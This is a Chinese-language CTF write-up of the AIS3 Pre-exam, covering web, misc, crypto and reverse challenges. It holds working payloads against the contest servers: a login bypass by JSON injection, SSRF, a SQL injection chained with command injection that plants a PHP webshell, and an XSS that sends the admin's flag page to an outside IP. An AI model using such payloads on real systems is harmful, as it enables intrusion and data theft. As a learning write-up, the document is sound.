AIS3 Pre-exam Write up
第一次參加 AIS3 pre-exam,應該也算第一次自己打 CTF。上學期修了資安實務,才終於開始打 CTF,之前在資安社的時候都只是在下面聽聽,沒有真的認真打過比賽。最終解了 10 題,排第45名(。◕∀◕。)
我主要都是解 Web 題(Web*3, Misc*3, Crypto*2, Reverse*1),再陸續把各個項目低分的題目解一解。大部分 1xx 分的都滿簡單的,可以一眼就差不多看出題目的思路,找相關的資料或是需要耐心慢慢看就能看出答案。經過資安實務的摧殘產生的心裡陰影,有時候會把題目想的太複雜,突然解出 Flag 還會覺得:「蛤?就這樣喔,我想太多惹」。
花很多時間的 震撼彈-ais3-官網疑遭駭,是一個很惡劣的題目,靠眼力(+細心?)就能找到一個怪怪的封包,找到之後竟然還只是一個簡單的 shell,我大概花了三四個小時在摸那包封包吧。
最後的時間都在解 XSS Me,大概花了 6,7 個小時在東戳西戳,就是找不到繞過字數限制的 XSS 方法,最後也沒有解出來QQ。後來得到提示之後還是解出來了,也把 Write up 補一補。
ヽ(・×・´)ゞ
Welcome
Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
Welcome 的題目,一個一個試密碼,大概 10 分鐘就可以試出來了。
Web
ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
這一題是 Flask 的登入的頁面(還有很白痴的 CSS 讓整個頁面變很干擾),輸入 username 和 password,設法走到 Line18 就能拿到旗子。
FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
'guest': 'guest',
'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}
@app.route("/")
def index():
def valid_user(user):
return users_db.get(user['username']) == user['password']
if 'user_data' not in session:
return render_template("login.html", message="Login Please :D")
user = json.loads(session['user_data'])
if valid_user(user):
if user['showflag'] == True and user['username'] != 'guest':
return FLAG
else:
return render_template("welcome.html", username=user['username'])
return render_template("login.html", message="Verify Failed :(")
@app.route("/login", methods=['POST'])
def login():
data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
request.form["username"], request.form['password']
)
session['user_data'] = data
return redirect("/")
Line10: dict().get()
如果沒有取值成功,預設會 retrun None
。所以只要構造出:
username: "apple"
return Nonepassword: None
showflag: 1
Line27-29 在 data
的地方可以插入 string,被 JSON parse 成 dict()
- 如果有重複的 key,會以後面的蓋掉前面的
- JSON 的
null
會被解析成 Python 的None
Payload
username: a
password: ","password":null, "showflag":1, "a":"
HAAS
輸入一個網址,伺服器會去戳一下這個網址,然後回傳這個網站是不是活著的,如果網站掛了會顯示頁面上的文字。看起來就是一個 SSRF 的題目。
{
"msg":"Failed",
"detail":{
"text":"500 Internal Server Error",
"expected":"200",
"actual":500
}
}
戳戳看 http://localhost
,會回傳 Don't Attack Server!
試著照:SSRF (Server Side Request Forgery) 的方法去 bypass localhost
。
試了一下用 http://2130706433/
就繞過了。
5/22 重要公告
不太重要的題目敘述:
為了防止系統不穩定的情形頻繁發生,我們(AIS3 MyFirstCTF、Pre-Exam 出題團隊)耗時九年研發了一套服務來監控 Web 題目是否正常運作,歡迎參賽者使用,特此公告。
當點擊 Check!
的時候,會送一個 request 給 http://quiz.ais3.org:8001/?module=modules/api&id=1
,然後回傳他是不是活著的。可以看出 moduel=
應該是去 include 一個檔案,而 id=
是用來 query 的一個參數。
{ "name":"Web Challenges Monitor", "host":"quiz.ais3.org", "port":8001, "alive":true }
從 module=modules/api
,可以用 php://
從這個地方去 leak 出原始碼,
http://quiz.ais3.org:8001/? module=php://filter/convert.base64-encode/resource=index
index.php
<?php include ($_GET['module'] ?? "modules/home").".php";
modules/api.php
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = [];
$query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}
SQL injection
在 Line8 存在一個 SQLi。用 UNION
使得當前面 SELECT 空,回傳我們想要控制的任一個東西。
舉例來說:
SELECT name, host, port FROM challenges WHERE id=-1 UNION SELECT "a", "b", "c"
會回傳
{"name":"a","host":"b","port":"c","alive":false}
Command injection
在 line11 存在一個 command injection。可以寫一個 webshell。
echo${IFS}'<?php'${IFS}'system($_GET[1]);?>' >/tmp/evil.php;
- 空白可以用
${IFS}
繞過 - 一開始不知道該寫到哪,發現
/tmp
有權限寫入的
Payload:
http://quiz.ais3.org:8001/?%20module=modules/api&id=
-1 UNION SELECT "a", "';echo${IFS}'<?php'${IFS}'system($_GET[1]);?>' >/tmp/evil.php;'", "443"
之後再去這個 webshell 裡面拿 flag。 http://quiz.ais3.org:8001/?module=/tmp/evil&1=ls /
XSS Me
這一題花了很久,但沒解出來,結束之後被提示才想出來 Qwq
題目:
admin 會在登入後訪問你所回報的網址,請試著偷到 admin 在 http://quiz.ais3.org:8003/getflag 頁面上的 flag 吧!
另外,此題有在 html header 中設定簡單的 Content-Security-Policy,可以參考:https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
是一個登入的頁面
- 登入之後會到
/getflag
的頁面,但只有 admin 登入之後才會顯示 flag - 另外有一個
/report
可以向 admin 傳送一個網址。但!這個網址只能是http://quiz.ais3.org:8003
開頭的。
XSS 進入點
唯一可以操作的只有登入頁面的 message box
<script>
const message = {"icon": "info",
"titleText": "Logout success!",
"timer": 3000,
"showConfirmButton": false,
"timerProgressBar": true};
window.onload = function () {
if (message !== null) Swal.fire(message);
};
</script>
在 Line3 的 titleText
(網址的 message
) 是可控的,是一個可以 XSS 的點,先閉合前面的 </script>
再 <script>alert(1)//
。
/?message=</script><script>alert(1)//
<script>
const message = {"icon": "info", "titleText": "</script>
<script>alert(1)//", "timer": 3000, "showConfirmButton": false, "timerProgressBar": true};
window.onload = function () {
if (message !== null) Swal.fire(message);
}
</script>
但是!問題是這個 message 的長度是有限的,超過55個字元就會被切掉。例如:
CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';">
知道了可以 XSS 但碰到有限字數的問題。接著來探討一下 Content-Security-Policy 的部份,登入頁面的 CSP 為 default-src 'self' 'unsafe-inline';
也就是說只能引用 source 來自同一個 Origin 的檔案 + 在這個 html 檔的 script。
討論:
如果沒有這個限制,我們可以在 XSS 的地方,直接引入一個外部的 js 檔,例如:<script src="https://evil.com/hack.js">
,就能繞過長度限制,這一題也就很輕鬆的被解掉了。而 CSP 就是為了防止引入危險的檔案而生的 Policy,限制網站只引用自己信任的 script/img/iframe…等等,使得這招沒辦法用了!!(XSS 剋星)
思路
整理一下這一題的思路:
- 把有XSS的登入頁面,Report 給 Admin。
- XSS 必須要能:
- 訪問
/getflag
- 把
/getflag
頁面的內容傳回我們的伺服器 - 限制
- XSS 的 payload 很短(光是網址就幾乎不夠用了)
- 沒辦法引用其他外部檔案
大魔王就是: 要怎麼繞過 XSS 長度限制?
透過 javascript:
可以用網址來執行 Javascript,所以把 location=javascript:alert(1)
一樣可以有 XSS 的效果。
除了 message
之外,我們還能控的就是網址的 hash,location.hash
。
也就是說我們可以 XSS location=location.hash.slice(1)
在 message
,再控制 #
之後的值為javascript:alert(1)
,就能繞過長度限制了!
?message=</script><script>location=location.hash.slice(1)//#javascript:alert(1)
Payload
http://quiz.ais3.org:8003/?message=
</script><script>location=location.hash.slice(1)//#javascript:fetch('/getflag').then(function(resp){return resp.text()}).then(function(resp){location='http://my_ip:9000?'+resp})
javascript:
fetch('/getflag')
.then(function(resp){
return resp.text()
}).then(function(resp){
location='http://my_ip:9000?'+resp
})
Misc
Microcheese
因為原本的題目有 Bug,所以另外重出了一題的題目。基本上就是一個遊戲,遊戲的玩法是: 會隨機產生很多排石頭,你和電腦會輪流選一排、把 k 顆石頭移掉,最後移到全部清空的人獲勝。
但這都不是重點,重點是遊戲的 Bug:
沒有 else
的條件,也就是說我只要 choice='xxx'
,我就能跳過一輪。所以我只需要一直跳過、跳過、跳過,等到自己電腦玩到剩一排石頭,再收割成果就可以了。
if choice == '0':
pile = int(input('which pile do you choose? '))
count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
print_error('that is not a valid move!')
continue
elif choice == '1':
game_str = game.save()
digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
print(game_str + ':' + digest)
return
elif choice == '2':
break
# no move -> player wins!
if game.ended():
win = True
break
else:
print_move('you', count, pile)
game.show()
Blind
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
int syscall_black_list[] = {};
void make_a_syscall()
{
unsigned long long rax, rdi, rsi, rdx;
scanf("%llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx);
syscall(rax, rdi, rsi, rdx);
}
int main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("You can call a system call, then I will open the flag for you.");
puts("Input: [rax] [rdi] [rsi] [rdx]");
close(1);
make_a_syscall();
int fd = open("flag", O_RDONLY);
char flag[0x100];
size_t flag_len = read(fd, flag, 0xff);
write(1, flag, flag_len);
return 0;
}
Line27 write(1, flag, flag_len);
會把 flag 寫到 STDOUT
Line22 的 close(1)
會把 STDOUT
關掉,導致後面沒辦法印出 flag,關鍵就在於要make_a_syscall()
把 STDOUT
打開。
根據 How to reopen stdout if it is closed by the process who called exec | Stack Overflow,只要 dup2(2, 1)
把 STDERR
的 FP 複製給 STDOUT
,就能把 flag 寫出來。-> 32 2 1 0
[震撼彈] AIS3 官網疑遭駭!
下載下來會是一包 .pcap
,用 Wireshark 打開會是一堆重複的封包,每隔一段時間,就會用 curl
去 request 一次這個網址。
- DNS request
- HTTP request:
10.153.11.126:8100
http://magic.ais3.org/index.php?page=bHMgLg%3D
Local DNS
先設定一下 DNS,使得 magic.ais3.org
可以訪問,在 local 只需要改 /etc/hosts
。
10.153.11.126 magic.ais3.org
在 http://magic.ais3.org:8100/index.php?page=bHMgLg%3D
,只看到一個壞掉的 AIS3 官網。而 bHMgLg%3D
base64decode 是 ls .
,看起來疑似是一個 shell。
可疑的 request
如果非常仔細看的話,會在一片重複的 request 中,發現一個不一樣的。
http://magic.ais3.org:8100/Index.php?page=%3DogLgMHb
。而 %3DogLgMHb
是倒過來的 ls .
用這個 shell 就能拿到 flag 了。(有點邪惡的題目==)
Crypto
Microchip
def track(name, id) -> str ꞉ {
if len(name) % 4 == 0 ꞉ ){
padded = name + "4444" ;}
elif len(name) % 4 == 1 ꞉ ){
padded = name + "333" ;}
elif len(name) % 4 == 2 ꞉ ){
padded = name + "22" ;}
elif len(name) % 4 == 3 ꞉ ){
padded = name + "1" ;}
keys = list() ;
temp = id ;
for i in range(4) ꞉ ){
keys.append(temp % 96) ;
temp = int(temp / 96) ;}
result = "" ;
for i in range(0, len(padded), 4) ꞉ ){
nums = list() ;
for j in range(4) ꞉ ){
num = ord(padded[i + j]) - 32 ;
num = (num + keys[j]) % 96 ;
nums.append(num + 32) ;}
result += chr(nums[3]) ;
result += chr(nums[2]) ;
result += chr(nums[1]) ;
result += chr(nums[0]) ;}
return result ;}
是一個改得像 Python 的 C++ code,是一個簡單的 trace code 題目。輸入 flag 和 id,會將
- 先把 flag padding 到 4 的倍數
- 每四個字元 ASCII 平移
id[j]
- 再倒過來接起來
因為知道 flag 的開頭是 AIS3
所以可以先推出 ids = [10, 87, 42, 69]
。逆推一個 function 把 flag 解出來。
def decode(result_c, id):
num = ord(result_c) - 32
num = (num - id) % 96
decoded_char = chr((num+32))
return decoded_char
result = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
flag = ""
ids = [10, 87, 42, 69]
for i in range(0, len(result), 4):
temp = ""
for j in range(4):
cypher = result[::-1][i+j]
temp += decode(cypher, ids[::-1][j])
print(temp)
flag = temp + flag
print(flag)
ReSident evil villAge
生成一組 RSA key,問題:
- 用私鑰簽 $m=
$Ethan Winters
- 要繞過這件事
- $σ(m)$ 解開是
Ethan Winters
就可以拿到 flag
標準的簽名要先過 Hash,但這邊沒有做,顯然就是一個漏洞!
privkey = RSA.generate(1024)
n = privkey.n
e = privkey.e
if option == b'1':
self.request.sendall(b'Name (in hex): ')
msg = unhexlify(self.recv())
print(msg)
# msg+k*n not allowed
if msg == b'Ethan Winters' or bytes_to_long(msg) >= n:
self.send(b'Nice try!')
else:
# TODO: Apply hashing first to prevent forgery
sig = pow(bytes_to_long(msg), privkey.d, n)
self.send(b'Signature: ' + str(sig).encode())
elif option == b'2':
self.request.sendall(b'Signature: ')
sig = int(self.recv())
verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
if verified:
self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
else:
self.send(b'Well done!')
根據 Digital signature forgery | Wikipedia
$$σ(m1)⋅σ(m2)=σ(m1⋅m2)=σ(m)$$
所以我們可以把 b'Ethan Winters'
拆成兩個數相乘,先送過去簽完,再把兩個簽名相乘,得到 b'Ethan Winters'
的簽名送過去解開拿到旗子。
n = 161008626013132264270259043730241916024990901776063116291103134339988521562245064172643889538567956657240466317056320467600966460219429179446519842824514394869753078628603917505112413870482976450918525233169042716203065365857785470789511689963196814513840107873815974316446378972257419626996308740374463990471
m = 5502769663009776377079720669811
m1 = 163 # a3
s1 = 105234616304232730536228069659561038463403324412555675055512376583908760204982980426445969335548847734867174684658353670536778265027670383816113372798950338306691598117528290092925353624750749498663448144194536304127961232418118707236462097976895446566878485522727581241234892462144179737977467617217363570499
m2 = 33759323085949548325642458097 # 6d150ebb92427fdc8e1053f1
s2 = 74484970799181986434244692137252020111485183559158917451918886821990199927806135512204508624357449943752010354484401827114568638150830476356714196323861937492498362461131428798708143978196412170113555025164709679710035091666145808318210522779299626971274654182745478046869949637526236870292238742207693259341
s = (s1 * s2) % n
s
# 102792814089493668892946031709704580543160818024240574700331967710385998110033018693727230959210673402724448562242946571104920024755541392374295802891005957960798179584286422728226632417795865091490656199038154750908041794132576869076409717262850445001567694219045895665517276262435744499766196349161897136325
Reverse
Pekora
要從一個 .pkl
檔逆推回原本的答案。可以用 pickletools
導出 opcodes,一步一步跟著 OPcode 就可以拆出最好的答案。
python -m pickletools -a -o dis.txt flag_checker.pkl
GET 從記憶體拿東西到 stack
PUT 從 stack 拿東西
MARK 標記一個位子
REDUCE 很像是搞成一個 function
參考 OpCodes 的 OPcode。
memo0: 輸入的 string
memo1: getattr 類似 call function吧
memo2: exit, str, getitem 之類的東西吧
input[5]=='d'
MARK
GET 1
MARK
GET 1
MARK
GET 0
STRING '__getitem__'
TUPLE (MARK at 530)
REDUCE
MARK
INT 5
TUPLE (MARK at 551)
REDUCE
STRING '__eq__'
TUPLE (MARK at 526)
REDUCE
MARK
UNICODE 'd'
TUPLE (MARK at 569)
REDUCE
TUPLE (MARK at 522)
REDUCE
把 input[9]
放到 memory 3
MARK
GET 0
STRING '__getitem__'
TUPLE (MARK at 330)
REDUCE
MARK
INT 9
TUPLE (MARK at 351)
REDUCE
PUT 3
POP
最後就可以回推回
AIS3{dAmwjzphIj}